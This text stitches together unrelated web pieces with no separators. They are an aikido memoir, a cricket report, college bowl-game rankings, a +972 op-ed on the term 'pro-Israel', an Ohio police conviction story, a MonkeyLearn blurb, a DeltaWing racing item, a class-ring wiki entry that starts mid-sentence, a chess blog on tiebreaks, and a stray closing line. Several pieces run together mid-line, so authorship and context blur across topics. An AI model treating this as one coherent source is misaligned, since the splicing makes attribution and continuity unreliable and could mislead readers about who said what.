After the course’s end, Don invited some of the students to join him for his evening aikido classes at his private dojo. I took the opportunity, committed to spending more time in the practice, and our relationship started to grow. Over the next five years, we spent countless hours together on the aikido mat, working in his office, flying around to aikido seminars, driving around the city in his car, exploring Chicago’s parks, and sharing meals. What follows are the biggest lessons I learned from him during our years together. These lessons are my attempt to capture a small piece of what Don taught me about how to live.
*****
Fall down, get up. Don believed in turning the fear of falling into the love of flying. He showed us that the floor was not something to be afraid of hitting or falling onto but instead just another surface, something to be explored and embraced. By learning to fall and rebound gracefully, with minimal friction or impact, toward your intended destination, we might live more freely. Whenever I came to Don for advice about failures and struggles, he’d smile and offer: “Fall down, get up!” Expect nothing, be ready for anything. In aikido, if you try to anticipate what your attacker is about to do, you open yourself up to danger because you’re living in the future rather than the present. The same is true in life: expectations open us up to danger. Any time we’re expecting one thing to happen and another does, we suffer: what are disappointment, anger, boredom, and frustration but unmet expectations? Don’s alternative was to instead remain “ready for anything”: centered, calm and alert at all times, armed with facts but aware of our limited perspective. By doing this we can avoid being surprised and always find the course of action leading to our desired results. Step off the line and witness your attacker. Have you ever watched an angry person while they’re on the attack? They’re completely out of control: their pain is so overwhelming that they can’t keep it inside anymore, so they spill it onto others. Normally when you’re attacked the natural response is to run away in fear or to fight back with reciprocal anger; in aikido the first step is always to step out of the way of the attack so that you can witness your attacker. Don showed us how while witnessing our attacker, we might muster compassion and pity for this suffering, angry person. This sense of pity allows us to move past being a victim to responding with what Marcus Aurelius called “kindness and justice.” Act from your center. The Eastern arts make a big deal about “the center” — a point below the belly button where all your energy comes from. Don took aikido’s practice of “getting centered” and extended it to real life situations: speeches, important conversations, negotiations. The idea is to gather yourself before acting: to relax, fix your posture, take a breath, clear your mind, ask yourself what matters most, what you value, who you’re fighting for, where you come from, where you are, where you’re headed, and how you feel. Can you imagine how the world might be different if more people took the time to “center,” or how your life might be different if you would? Learn the technique to forget the technique. To get good at aikido, you have to practice the techniques so much that they become automatic, reflex. But technical proficiency doesn’t make a great aikidoist. Great aikido comes from the the transcendence of technique: to move freely and masterfully, one must forget what’s been learned. Don would repeat aikido’s founder: “Any movement, intact, can become an Aikido technique, so in ultimate terms, there are no mistakes. My advice to you: Learn and forget! Learn and forget! Make the techniques part of your being!” This principle extends to every pursuit worth mastering — music, business, chess, parenting — learn the discipline so that you can break free of it. The most important practice happens off the mat. In any discipline requiring sacred space and regular practice — yoga, meditation, aikido, temple, church — the most important thing is not that you go to your Bikram class to get your fix or go to church to feel like a “good Christian” for that Sunday, but that you carry out the principles of that practice out in daily life: the real dojo. Practice “on the mat” is only to strengthen your foundation of technique and philosophy, to recenter so that you’re more capable of living out that practice “off the mat.” That’s the point of aikido or yoga or any other discipline. It’s not to get fit, or sweat a little, or check the box so you can tell your friends; it’s to become a better human being. Everything is training, training is process, and process is beauty. For a while, I served as Don’s personal assistant on business matters: I’d take dictation from him on emails, run errands, clean his house, water his plants, landscape his yard. Some things — like helping write important emails to influential martial artists or political figures — I found thrilling. But a lot of what he had me do bored me to tears, especially menial tasks such as cleaning and gardening. And it showed: I’d convince myself I was done weeding his garden and he’d come out and be like “Seriously, man? You missed like a thousand spots. It’d better be done the right way when I come back in a few hours.” After several instances like that, I still wasn’t getting the message. No matter how hard I tried, I couldn’t seem to muster enough enthusiasm to complete these tasks to perfection. Then one day, I attended an aikido practice in Don’s backyard, where we swung our wooden swords (boken) thousands of times in a row until our shoulders burned with lactic acid and my mind burned with boredom. After about a thousand swings, something happened: the swinging of the sword became automatic, my shoulder pain faded into the background, and I started noticing my breath, the breeze, the angle of the sun on the flowers, and the beat of my heart. I started having random epiphanies about projects and relationships. And suddenly I wanted to keep swinging the dreadful sword — extreme boredom opened a door to brief and humble enlightenment. After the session, I told Don what I’d experienced and he related the sword-swinging to menial repetitive tasks: “they’re the same. Everything is training.” He explained to me that if I could get lost in boredom-inspiring processes, I could experience more moments like this, moments where the noise of the world fades into the background and the beauty of the present moment emerges. Don taught me to fall in love with these repetitive menial tasks, to do the work. Now I love doing laundry, taking out the trash, drying dishes — it’s some of my best reflective time, it’s when my best ideas happen, and it helps me cleanse my soul and rid myself of restlessness. The same goes for driving, sitting on public transit, and waiting in line — these are meditation opportunities, not dead time. Chances to practice patience, to observe beauty. Defy the instinct to look for differences, and instead seek out common ground. We as humans at the cellular level are the exact same. It’s only because of our flawed perception and personal insecurities that we seek to name one another’s differences: black, white, man, woman, tall, short, conservative, liberal. We myopically construct identity based on false perceptions, superficialities, and assumptions, so that we can form tribal alliances to survive. In reality, all this effort to identify distinctions between us only leads to that which aikido warns against: that we see each other as adversaries rather than as partners. Don had faith in humanity as a whole, saw through false labels and their consequences, and encouraged human unity. His actions spoke for themselves, and inspire me every day to look beyond what divides us toward what unites us. Embrace the gray. Don believed that nothing in life was so simple as to be “black and white.” He believed the worthiest task was to navigate “the gray.” I’d sometimes share with Don my insecurities about the fact that I didn’t self-identify as a democrat or a republican, or that I didn’t have strong opinions on hot-button issues such as foreign policy (should we intervene or self-isolate?) and the macroeconomy (should taxes be high or low?). I feared that my lack of opinion might lead me to be an unengaged citizen in a time when too many citizens sit apathetically by the sidelines. Don offered comforting perspective by telling me what matters is my ability to navigate the gray and not just listen to the shrill divisive voices at the extremes. He showed me that often even more important than taking a particular side is helping people to understand that an issue might be more complex than it’s made out to be by “experts” and popular media. He pointed me to a Martin Luther King Jr. quote that has guided my thinking since: “The strong man holds in a living blend strongly marked opposites. The idealists are usually not realistic, and the realists are not usually idealistic. The militant are not generally known to be passive, nor the passive to be militant. Seldom are the humble self-assertive, or the self-assertive humble. But life at its best is a creative synthesis of opposites in fruitful harmony. The philosopher Hegel said that truth is found neither in the thesis nor the antithesis, but in the emergent synthesis which reconciles the two.” It’s okay to cry. In fact, it’s manly. Coming from competitive sports and fraternity life, I’d been programmed to think that crying was a sign of weakness in men. Like many guys, I’d conditioned myself to “plug up” emotion. For as rare as it was for me to shed tears, it was rarer for me to see another man cry. So it took me by surprise when one night over Scotch, Don began crying. While sharing about his experiences in Ethiopia during the revolution, he opened up to me about the death of one of his friends, and he cried tears of sorrow. In that moment he showed real grief, sadness, and character, and in the moments and days after I couldn’t help but think of how powerful those tears were, and how stupid it is that crying is thought of as unmanly. A couple of years later, during a tumultuous time in my work, Don reached out to me to meet — he said it was urgent. We met near his house and he told me with a look of genuine concern that he was worried about how many aikido practices I was missing at the last minute due to my unpredictable flight schedule. He weeped courageously: “I don’t want to lose you, man. You’re too damn good to lose. Get it together.” His vulnerability to weep openly showed me the truth behind his words: my behavior was hurting him, he deeply cared about our relationship, and he deeply cared about my development as his student and friend. His courage then set an example for me and showed me the way: a year later, when I told him that I’d be naming my newborn son after him, I couldn’t help but hold back my own tears. Attachment has power. For a while, I found it contradictory that Don was such an avid subscriber to the Asian traditions, yet decorated his house generously with artwork and other material possessions. After all, the Buddhists disbelieve in attachment to the material. So, eventually I raised the critique: “why do you have so much artwork? Why attach yourself to that? The Buddhists say that attachment is the cause of all unhappiness and suffering.” His response shut me up: “Without attachment, wouldn’t life be devoid of all meaning?” He helped me understand that even if detachment is what makes life livable, attachment is what makes life worth living. The mind can travel by plane, but the heart travels by foot. Don spoke English, Amharic, French, German, and a little Spanish, Italian, and Japanese. When he was 16, he was involved in the formation of the youth United Nations — just as the real United Nations was forming. As a young Jewish college student, he went to Germany study abroad — right after WWII. Early in his career, he journeyed to Ethiopia from Chicago to New York City to Paris then along the entire African coastline by ship. He understood travel. And once as we were on a flight from Chicago to Frankfurt together before venturing through Germany for an aikido seminar, he told me “the mind can travel by plane, but the heart travels by foot.” If you want to get to know a place as you’re traveling through, recognize the intangible trade-off you make in exchange for speed. Walking and jogging put you in touch with the people and the sidewalks and the pedestrian life of a place. Bicycles, too. Buses and trains allow you to sit into a place as you pass through it, and give you the window to peer out of and watch, to ponder as you enter that space between this town and the next one. These all let your heart beat in sync with your locale. But planes don’t: planes pick you up in one place and drop you in another, more quickly than is natural — you miss the life on the way and need to settle in for days or weeks before truly syncing with the new location. Planes are good if you need to conduct a transaction, and get somewhere very far or very fast, but not if you want to “be” there. Be an advocate. Don wanted his students to become better human beings as a result of their educational experience. He was an advocate for his students, on a mission to help each of us develop a voice of our own that we could use nonviolently toward human progress as we ventured forth into the world. But Don was also an advocate for those who didn’t have a voice at all. He was always working on asylum cases as an expert witness for Ethiopian refugees, people who barely spoke English or whose families had been torn apart by war, or who were caught in a bind with unfair or misinterpreted law. This was some of his most fulfilling and meaningful work, and showed me that each of us can be an advocate. Be HOT. As much as Don was an academic and theorist, he was a deep believer in using his time on earth for the most pressing and interesting issues of the times. He encouraged me and others to live and work at the “Height of the Times,” to be “HOT:” to be aware of the world’s events, find relevant ways to contribute, and lead change on the edge, to ride the wave of history and contribute whatever you can to make it better than it would be without you. He took the phrase from Chapter 3 of Ortega y Gasset’s Revolt of the Masses which states “What, then, in a word is the ‘height of our times’? It is not the fullness of time, and yet it feels itself superior to all times past, and beyond all known fullness….strong…yet uncertain of its destiny; proud of its strength and at the same time fearing it.” For Don, being HOT meant helping guide major developments in the fields of social theory and Ethiopian scholarship, then helping make those practical through interdisciplinary teaching of a modern martial art. And he encouraged me not just to read the news or vote but to plug into the intelligence of my network and seek out the opportunities to truly lead change on the edge. I took his advice and ended up working on HOT issues through a Department of Homeland Security task force and on a Presidential Advisory Council. Vices make us human — lighten up. Don was perfect…at being himself. Which meant he had vices. One time early in our relationship I asked him how he was dealing with the pain of a leg injury, and he admitted to me that Scotch was his painkiller of choice. How surprised I was: here was this seemingly pure master of the spiritual arts, and he was boozing to deal with the pain!? This clashed with my image of him, but after I got past my initial feelings of naive judgment, I felt drawn toward him morefor this minor vice. It made him human. Another time, he invited me to grab morning coffee together just days after he’d been diagnosed with a dangerous illness. We met at a French cafe, and I was expecting him to order something spartan like mint tea and healthy fruit; instead he got a coffee with extra cream, and a giant morning bun. At the time, I was trying to develop discipline in my own diet, and seeing my mentor eat something unhealthy made me feel conflicted about my efforts. He invited me to share in feasting on the delicious morning bun; reluctantly, I accepted his offer. As I chewed the first bites, I barely noticed its amazing taste because I felt so guilty for breaking my healthy diet, but quickly I lightened up and let go. We shared the pastry, and ate many more in the months and years after. The morning bun became a shared vice. I never ate pastries with anyone except Don, and he wasn’t a big pastry eater either, but that singular harmless vice bonded us. Had I judged him for his vices, I’d have created unnecessary separation in what would become a very close bond; instead, by embracing his vices I was able to see him as a whole human, and open space for a deeper connection. Extend roots into the earth, and reach up toward the heavens. In aikido there are techniques that call upon “heaven and earth” — you disrupt your opponent’s balance by leading their attention upward and downward simultaneously: you render them top-heavy while setting their body into motion toward the floor. Don was exceptional at teaching us the value of these techniques on the mat, but even more so in life. To act from a centered place, one must be grounded, stable, humble. For this, we have to extend our roots into the ground and feel how our feet connect to the foundation upon which we stand. Don would have us take off our shoes and stand in the grass with our eyes closed, imagining that our legs had strong roots extending deep into the earth. We’d then push each other to test balance, and find that we’d become nearly impossible to topple. But to be grounded in the earth beneath us without any extension toward the heavens above us is to risk getting stuck. As trees grow toward the sky, they blossom, grow more magnificent, and give to other creatures. Don would have us reach toward the sky with yoga poses and qi gong exercises, and we’d feel our lungs expand, our mental awareness sharpen, and our energy increase. The practice of extending roots into the earth and reaching up to the heavens applies to nearly everything in life, from business meetings (ground yourself in reality while pursuing ambitious goals) to parenting (setting strong values and consistent routines while encouraging your kids to dream big). Find amusement in the human comedy. Don took his work seriously but tried hard not to take himself too seriously. For as much as Don accomplished in his life, one might have thought he had all the reasons in the world to be a really “serious” guy. But he was quite the opposite. Constant falling on the aikido mat at the hands of his students helped him stay humble, always able to laugh at himself, to see himself from his own “mental balcony” and find amusement. The last words I heard from Don before he passed away were from an audio recording he sent out to a group of friends, in which he said “I continue to be amused by the human comedy.” Until the very end, Don was able to see the world clearly, and even in all his pain, crack a smile and see the humor in it all.
*****
I’ll always miss the office hours, the nights at the symphony, the morning coffees, the dinners at the Quad Club, and the backyard, basement, and sky deck keiko sessions.
There are countless more lessons Don never shared or I never learned, but the one that will stick that runs across them all: aikido is the universal practice of peace, both on and off the mat. Each of our lives would be a little bit happier and the world would be a little bit better of a place if everybody would make an effort to approach life with a little more self-awareness, intentionality, compassion, and harmony.
May Don’s spirit rest in peace with the earth below and the heavens above.
Ted Gonder is an entrepreneur on a mission to even the odds for future generations. He serves as co-founding CEO of Moneythink, a nonprofit organization dedicated to building the financial capability of young adults through technology-enhanced mentorship, and until July 2015, he was a member of the U.S. President’s Advisory Council on Financial Capability for Young Americans.Ireland coach John Bracewell criticised his side for an "unforgivable" failure to use pre-match research after they were thrashed by Sri Lanka in the second ODI at Malahide.
"They played smarter than us and we need to smarten up," he said, reflecting on Seekkuge Prasanna's 46-ball 95 at No. 3. "To go and explore a guy when we've got the notes is, in my opinion, a little bit unforgivable.
"We had good notes on him, and our notes showed that he could hit exactly where he did, and we were slow to react. And by the time we did react, seven overs were gone and 100 runs were added - and that cost us any chance of winning the match.
"We had to drag him away from his arc: he likes the ball in close and he hits through it. Our notes said slower balls and yorkers wide - as it turned out he dragged on a wide yorker. It took us a while to make that adjustment. You have to then assess whether that's arrogance, or ignorance or stubbornness."
Bracewell suggested that the answer was different for each bowler, but that Ireland's death bowling, restricting Sri Lanka to 75 for 6 from their position of 302 for 1, proved that the issue was not a lack of skill.
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a fifth time, but they missed a 30-yard field goal, and the Mountaineers ran out the last 1:48. The Mountaineers won the bowl in Alabama's capital city for a second consecutive year in dramatic fashion and secured their 10th win. Just a good ol' football game.
6. Zaxby's Heart of Dallas Bowl: Army 38, North Texas 31 (OT)
Facing fourth-and-goal from the 3-yard line, Army pitched the ball to Jordan Asberry, who scored the game-winning touchdown in OT. Army won that way because its running game is rugged, compiling 480 yards on the ground. Army finished 8-5, its best season in two decades, and that included a win over Navy in the regular-season finale.
5. Birmingham Bowl: South Florida 46, South Carolina 39 (OT)
South Florida capped an 11-2 season with a win over an SEC team in overtime, as QB Quinton Flowers passed for 261 yards and rushed for 105 yards, accounting for five total touchdowns -- including a 25-yard TD in OT. It wasn't easy, though. The Bulls led 39-24 entering the fourth quarter, but previously offensively challenged South Carolina scored 15 to force overtime.
4. Lockheed Martin Armed Forces Bowl: Louisiana Tech 48, No. 25 Navy 45
Louisiana Tech's Jonathan Barns booted a 32-yard field goal as time expired to give the pass-happy Bulldogs a thrilling victory over the run-heavy Midshipmen. Louisiana Tech QB Ryan Higgins threw for 409 yards and four touchdowns, while Navy rushed for 300 yards and five scores, led by Zach Abey's 114 yards and two touchdowns.
3. Capital One Orange Bowl: No. 11 Florida State 33, No. 6 Michigan 32
In a battle of heavyweights, Florida State running back Dalvin Cook proved to be the best player on the field in this thriller, which at one point appeared to be the best game of the bowl season. Cook rushed for 145 yards on 20 carries and added another 62 yards receiving. Michigan -- playing without Jabrill Peppers and Jake Butt, who left the game with an ACL injury in the second quarter -- scored twice in the final six minutes to take its first lead of the game (30-27) with under two minutes to play. But on third-and-9 from the Michigan 12-yard line with 36 seconds left, Deondre Francois found Nyqwan Murray for the game-winning touchdown.
2. Rose Bowl Game Presented by Northwestern Mutual: No. 9 USC 52, No. 5 Penn State 49
No way the Rose Bowl could eclipse the Orange Bowl, right? Well it did. USC dominated early, but Penn State won the third quarter 28-8 and seemed in control heading into the fourth quarter with a 49-35 lead. Not so fast. Trojans QB Sam Darnold, in a "Hello World" moment, led an 80-yard, game-tying drive with under two minutes left, capped by a beautiful, 27-yard TD pass to Deontay Burnett. Darnold finished with 453 yards passing and five touchdowns. Then, with just 27 seconds left, Nittany Lions QB Trace McSorley threw a baffling interception to Leon McQuay, and Matt Boermeester's clutch, 46-yard field goal gave USC the victory as time expired.
1. College Football Playoff National Championship Presented by AT&T: No. 2 Clemson 35, No. 1 Alabama 31
Just plain epic. What an amazing end to the bowl season, though obviously Alabama fans aren't thrilled. It's difficult to score 21 points against Alabama over the course of an entire game, but QB Deshaun Watson and Clemson scored that many in the fourth quarter to win the Tigers' first national title since 1981. Watson's 2-yard pass to Hunter Renfrow provided the winning points in the waning moments. Watson, who was brilliant in a loss to the Crimson Tide a year ago, passed for 420 yards and three touchdowns. He, without question, is the greatest player in Clemson football history.The term ‘pro-Israel’ should mean anti-occupation, support for human rights, equality, democracy for all peoples under Israel’s control – not hard-line Zionism. Reflections and commentary on +972’s use of the term.
My colleague Noam Sheizaf’s article about the addition of David Makovsky to the American negotiating team for the Israeli-Palestinian peace process carries the following headline:
‘A pro-Israel hawk to draft Kerry’s peace plan?’
The subheading reads, with some indignation:
‘That one must be a pro-Israeli Zionist in order to be eligible for the State Department’s Israel-Palestine team is indicative of the problem with U.S. policy in the region.’
I disagree with the heading and the subheading and with full respect for our editorial decisions, I decided to express my critique here.
The words “pro-Israel” mean simply to be supportive, or “for” Israel. Yet the term has been hijacked by a portion of Jews (including and perhaps primarily non-Israelis) who have anointed themselves defenders of the faith; they have unilaterally set the gold standard for everyone else in determining what supporting Israel means.
The meaning of pro-Israel, in the eyes of those Jewish-American organizations who often refer to themselves this way, is twofold: first, it involves being apologists for every policy of every Israeli government, and second, it is a permanent mission to prove that Palestinians are 1. Bloodthirsty, 2. Primitive and unready for peace or democracy – essentially, inferior 3. Sinister, all-powerful manipulators of global media, minds and public discourse 4. Politically incompetent. 5. Islamic jihadis, every last one. The camp that calls itself “pro-Israel” has added a third cause du jour of late – broad insistence on a maximalist, warmongering position vis-à-vis Iran.
So-called pro-Israel types are not only saying that these two/three are the best and only ways to support Israel. They are also saying that anyone who thinks differently is against Israel. Such a person who is also unfortunately Jewish or Israeli may be branded no less than a traitor, self-hater, lunatic, idiot or worse. The Israeli mainstream press has adopted the wrong definition wholesale.
Here is what permanent apologists for all Israeli government policies and demonizers of Palestinians actually accomplish. They perpetuate conflict, by supporting Israeli government policies that perpetuate the conflict, and they command that Israel’s greatest enabler, the U.S.A., do so too. They scream down criticism in a most hysterical and undemocratic way that is antithetical to both American and Jewish traditions. They employ and entrench shameless racist stereotypes that ought to make “never again” crusaders shiver, although many won’t.
Put simply, those who embrace the term “pro-Israel” support the occupation of over four million Palestinians who live permanently under military law or as refugees, while Israeli Jews living next to them walk free.
How this behavior supports the country of Israel or the People of Israel is a moot question. It does not. It maintains the policies that maintain the conflict; that’s about as anti-Israel as you can get.
Therefore, I disagree with how we at +972 Magazine used the term in Noam’s piece, for three reasons: first, because “pro-Israel” should mean anti-occupation, support for human rights, equality, democracy for all peoples under Israel’s control, regardless of the accident of citizenship or ethnicity – not hard-line Zionism. We may have different means of doing this, but I personally think that my own version, moving to Israel at the start of my adult life and voicing dissent against policies I consider wrong pretty well advances both democratic culture and conflict resolution – and therefore counts as full-throttled support for Israel.
Second, in using the term the wrong way, +972 Magazine conveys unwittingly that it is opposed to having people on the negotiating team who support Israel. Personally, I would not be against such a thing, provided that the person was equally pro-Palestinian. But Makovsky can hardly be accused of that. For a third-party negotiator, America was already deeply suspect in the eyes of Palestinians: in a November survey, only 11 percent viewed the U.S. as an honest broker, and 90 percent believe the U.S. is biased toward Israel. Reinforcing this view can’t possibly help.
Finally, in accepting the mainstream media’s use of ‘pro-Israel’ we go along with exactly what’s wrong with the Israel discourse. But that “plus” sign at the beginning of our name isn’t just a quirky reminder of the country code. I hope that we add something of substance to debates. This comment is my attempt to demolish the failed and hollow notion, thoughtlessly churned out, that being for Israel means being against someone else.
Related:
The end of ‘pro-Israel’ in American political discourse
What do ‘pro-Israel’ image-mongers actually stand for?
NYC subway ad: When ‘pro-Israel’ rears its ugly headPlease enable Javascript to watch this video
VERMILION, Ohio -- A former veteran Vermilion police officer is behind bars after being convicted of a misdemeanor assault.
Aaron Bolton was sentenced Monday to four months in jail. He was convicted of the misdemeanor charge in October.
Erie County Sheriff Paul Sigsworth said Bolton will be treated like every other prisoner while at the jail.
Bolton’s charge stemmed from a disorderly conduct and resisting arrest incident in Vermilion in September of 2015.
Erie County Prosecutor Kevin Baxter said Bolton’s body camera showed jurors what happened and the suspect’s injuries.
“Most officers do not act like this,” Baxter said. “The body camera was a major piece of evidence.”
Bolton had first said he used force on the suspect after the suspect tried to knock him to the ground, but officials say that was not what was shown on the video.
Vermilion Police Chief Christopher Hartung said Bolton resigned Friday.
Hartung said Bolton served on the department for 18 years and during that time he did many heroic acts, including saving a person’s life.
“He received a life-saving award last year when he rescued a heroin addict and gave him Narcan,” the chief said.
But the chief said once he saw the video he knew he had to take action.
“He made a poor decision, and is now paying for it,” Hartung said.[VIDEO TUTORIAL] How to create a custom text classifier
MonkeyLearn public models are great if you are a developer looking to resolve particular text mining tasks in a fast and easy way. Public models are models that have been already trained with text data and are ready to be integrated via a web API to platforms, applications and websites.
But one of the hidden gems of MonkeyLearn is the possibility to create your own text analysis model from scratch, customized for your needs. Turning developers into data scientists, developers can upload text data and train a custom machine learning model to do exactly what they need. Customized models enables many different types of applications that could be developed with MonkeyLearn.
We have made the following video tutorial to show how to create a custom text classifier with MonkeyLearn step by step:
Please don’t hesitate to write us to hello@monkeylearn.com. if you have any questions or need help building a custom model.The DeltaWing Prototype will take part in a full season of the IMSA WeatherTech SportsCar Championship season, with Katherine Legge and Sean Rayhall having been confirmed as drivers of the Elan-powered DWC13.
Running under the new Panoz DeltaWing Racing banner, the Braselton, Ga.-based team will add Andy Meyrick for the Tequila Patron North American Endurance Cup races.
The program was previously confirmed for Daytona only.
“I believe all of us here at Panoz DeltaWing Racing are really looking forward to the 2016 season, especially getting back to Daytona for both the Roar and the 24,” team manager Tim Keene said.
“We made good progress last year after coming to grips with some of the issues that plagued us during the first half of the season. We had a really good test in Daytona back in November and believe we have the pace needed to run up front.”
The big change for 2016 is the addition of Rayhall to the lineup. The 20-year-old Georgia native — a standout in Prototype Challenge competition — replaces Memo Rojas following an impressive test at Daytona in November.
“I’m extremely excited to sign on with Panoz DeltaWing Racing for the year,” Rayhall said. “The team were excellent when I tested with them back in November and I think it will be a great fit.
“I’m very grateful for the opportunity Dr Panoz has given me.”
Legge, meanwhile, will return for her third consecutive season with the team and car, looking to build on what was a challenging 2015 for the Don Panoz-owned operation.
“The team have worked so hard and I think we will be able to show what we are capable of,” she said. “We are all focused on building from the impressive speed we showed at the November Daytona test.”
In addition to the three confirmed drivers, Andrea Wirth is also listed to test the car in this weekend’s Roar Before the Rolex 24, potentially as a fourth driver for the WeatherTech Championship season-opener.gemstone.[1] A class ring in a ring case. This ring is made of white ultrium and contains a synthetic sapphire
A class ring (also known as a graduation, graduate, senior, or grad ring) is a ring worn by students and alumni to commemorate their graduation, generally for a high school, college, or university.
Today class rings can be customized, from the material and style that the ring is made of to the color and cut of the gem in the center. There is a wide selection of emblems, pictures, and words that can be added to the sides of the rings and even inside the center gem.
History [ edit ]
The tradition of class rings originated with the class of 1835 at the United States Military Academy at West Point.[2]
How to wear [ edit ]
The Complete Book of Etiquette by Amy Vanderbilt indicates the following protocol for wearing of a class ring. For as long as the wearer is in school, the insignia should face the wearer to remind him/her of the goal of graduation. Upon graduation, the class ring gains the status of a "badge of honor" similar to a diploma, with the effect that graduation entitles the wearer to display the insignia facing outward so that it faces other viewers. An additional justification for this practice is the rationale that the ring also symbolizes the graduate him/herself: During the wearer's time in school, he or she focuses on self-development and goals specific to the insular academic environment; upon graduation, the wearer enters the wider world and puts what he or she has learned to work in shaping it.[3]
A notable exception to this protocol is the custom followed by older graduating classes of the United States Military Academy at West Point. Today, as in years past, Academy graduates frequently wear their rings on the left hand in observance of the ancient belief, which also underlay the Anglo-American custom of wearing wedding bands on the left hand, that a vein connects the left ring finger to the heart. Prior to graduation, these classes wore the USMA Class Ring with the Class Crest closest to the heart, signifying a given cadet's bond to his class within the Academy. Following graduation, members of these classes wore (and, for surviving members, still wear) the ring with the Academy Crest closest to the heart, signifying their bond with the Academy as a whole.[4]
Ring melt [ edit ]
At the United States Military Academy, United States Naval Academy, United States Air Force Academy, The Citadel, and the United States Coast Guard Academy each cadet's class ring contains melted gold from rings donated to the respective school from deceased alumni.[5][6][7]
In fiction [ edit ]
The Lords of Discipline. "I wear the ring. I wear the ring and I return often to the city of Charleston, South Carolina, to study the history of my becoming a man." Author Pat Conroy attended and graduated from The Citadel and wrote the fictional account of a cadet's journey at a military school set in Charleston, South Carolina.
See also [ edit ]
References [ edit ]
Media related to Class rings at Wikimedia CommonsI was fired up yesterday, I admit it. I was so annoyed by the tiebreak system that my mind spiraled out of control. I ended up writing some things that after reflecting for 24 hours, I think were wrong. But I like writing things and getting the discussion going, and without writing that it would have been hard for me to arrive at the conclusions of this blog.
I realized that there is huge merit in having the Candidates determined by one single event, in which all participants begin on an even footing. The drama and intrigue behind such an event is very hard to match.However I still think that some important changes should be made, and will lay those out at the end of this article.
There was an exciting game today but the final round was terribly marred by a horrible tiebreak system. The chess world will slightly forget about this due to Karjakin’s +3 score, but they may not remember that this score was achieved mostly because Caruana desperately had to push for a win. In any normal circumstance this game would have been more likely to end in a draw and we would have gone to tiebreaks.
Despite all of that, Karjakin played a strong tournament and is certainly deserving of a match against Carlsen (and I think that Caruana is as well). I think this match will definitely be more competitive than some people think, although Carlsen is very likely to win.
Anyone who reads my writing frequently knows that I’m in favor of some pretty drastic changes. One that Maurice Ashley announced today, which I’ve been arguing in favor of for years, is the elimination of the draw as a result in chess. I do believe that this is the solution to many problems in chess. One example way that this could work is to cut maybe 30 minutes off the starting time for each player, and if the game is drawn, reverse colors and start again with 20 minutes per side. If that game is drawn, go to 10 minutes, then to 5 and etc. I would prefer to use a very small increment throughout.
I no longer love the idea of starting the second game with the amount of time you end the first game with. The reason for this is that it would take a lot away from the quality of that one slow game, and this would upset too many of the chess purists. This is also a great way to make rapid and speed chess actually mean something. It combines all types of chess into one nice little package and eliminates the draw as a final chess result in tournament play.
So yes, I do favor eliminating draws, but I also would like to discuss some proposals to improve the Candidates Cycle in it’s current form. It will not be as drastic as my last blog on the subject, but I think these changes would have very positive and important impacts.
First let’s examine the issues with the current tournament:
The Tiebreak
A huge amount of time and thought needs to be put into the tiebreak system. In a Round Robin, it makes virtually no sense to use tiebreaks and therefore a playoff format should be used. What should be the precise nature of that playoff format? It’s difficult to say, but it’s important that it’s both fair for all players who tie for first, and simple enough for the general audience to understand.
The current tiebreak system in which it came down to # of wins/losses was simply atrocious and an insult to players who fought so hard for weeks.
2. What to do with the Tail-Enders?
When you are determining something as serious as who will compete for the World Championship, someone with absolutely no hope should not be facing someone who’s playing for the title in the very final round. This is simply unsporting.
You can turn around and tell me that in all pro sports this is a thing, but that’s a drastic oversimplification. In the NFL it’s true that the final playoff spot may be determined by teams that aren’t in the race anymore, but in this case we are only talking about those fringe teams that are barely qualifying. We determine who plays in the Super Bowl by Head to Head play, and this remains true in almost every sporting contest. In this case, we are talking about who will compete for the Championship of the World. This cannot be determined by the final round play of the 7th/8th place finisher, and it’s not impossible to fix this
3. The Qualification System
The qualification system has to be clear and reliable. I love Levon Aronian and think he was a great Wild Card, but this is the World Championship of Chess. Under no circumstances should a Wild Card spot exist.
What is my Proposal to Fix this System?
I think the main issue is point #2. By the halfway point of the event, you can pretty much write off about half of the field. Yet that half of the field is still in there, playing other people, and determining who will play Carlsen for the title. My recommendation is as follows:
A: The Candidates Tournament begins with 9 players, and they play a single Round Robin.
I am using nine players as a number to ensure that all players get an equal number of blacks versus whites. I am aware that someone will have an annoying bye in every round. I would automatically assign the last round bye to the lowest rated participant, although it could also just be random.
B: At the end of this Round Robin, the top four finishers qualify for the next stage
The next stage of the event is a double round robin between the top 4/9, and the remaining 5 players have now been eliminated. Let’s face it, if they couldn’t finish in the top 4 after eight games, they probably aren’t going to win the tournament.
The final four players all retain their same scores, and after those 6 games, we now have a new World Championship contender. Whoever is in 1st/2nd place going into the second stage are scheduled to play in Game 3 of this new Double Round Robin. After the first three games of this tournament, the pairings are once again redone so that whoever is now in first place is scheduled to play against second place in Game 6. This only affects the order of the games, but does not affect the schedule or color distribution. The purpose is to maximize the chance that the top players are fighting for the spot in the final round.
C: Incentives remain in place to ensure fighting chess in the Final Four:
The runner up and third place finisher automatically qualifies for next year’s Candidates Tournament.
D: All ties at any point of the competition are broken by playoff
Why is this format better?
After the first eight rounds, you eliminate the players who have very little chance to qualify. This makes it much easier for the press to digest You almost completely avoid those spots where a someone two players shooting for first place are playing people who aren’t in the running in the most important chess games of the tournament You create amazing drama in the final Round of the original Round Robin, as people watch to see which four qualify. There is no reason that someone like Topalov, who had a big negative score after 8 games, needs to keep playing. Once you are not seriously competing to make the Championship, why are you still determining the outcome of the event? It’s completely illogical. The final 6 games of the event are going to be incredible battles between the four people who are in contention to qualify. It’s possible that by Round 3-4 of this 6 round finale someone will be out of the running, but they will still be desperately fighting to keep their spot in the next Candidates Cycle.
I believe this system results in a vastly improved format that will result in very few strange situations in the final round of play. This is for the Championship of the World. If you can’t be in the top 4 after 8 rounds, you really don’t need to still be in the tournament.
Regarding Qualification for the future Cycles:
I’d propose the following:
2 spots from the FIDE World Cup
2 spots from the Grand Prix
2 spots from rating
1 spot from the previous Championship Match Loser
2 spots that go to the 2nd+3rd place finisher from the previous Candidates Tournament
While I still think that my previous blog has merit, the problem with my proposal is that it would eliminate the dramatic spectacle of the Candidates Tournament. Also it created a weird circumstance where the World Champion still has to compete. So I definitely prefer the format laid out above.
On one hand we were lucky this year that Karjakin and Caruana faced off in the final round. On the other hand we were unlucky that the tiebreak was so weird that it drastically influenced the course of play. This is the World Chess Championship, let’s take every aspect of the event seriously. Let’s make the tiebreaks fair and logical, and let’s also stop allowing people who aren’t in contention from having such a prominent affect on who will be the next contender.
I will never support a system in which 8th place could play 1st place in the final round and the result of this game determines the next World Championship Contender. You must do everything possible to try to equalize the incentives for both players when the stakes are this high.A warm weather holiday has turned into a hot mess for a Saskatchewan couple.
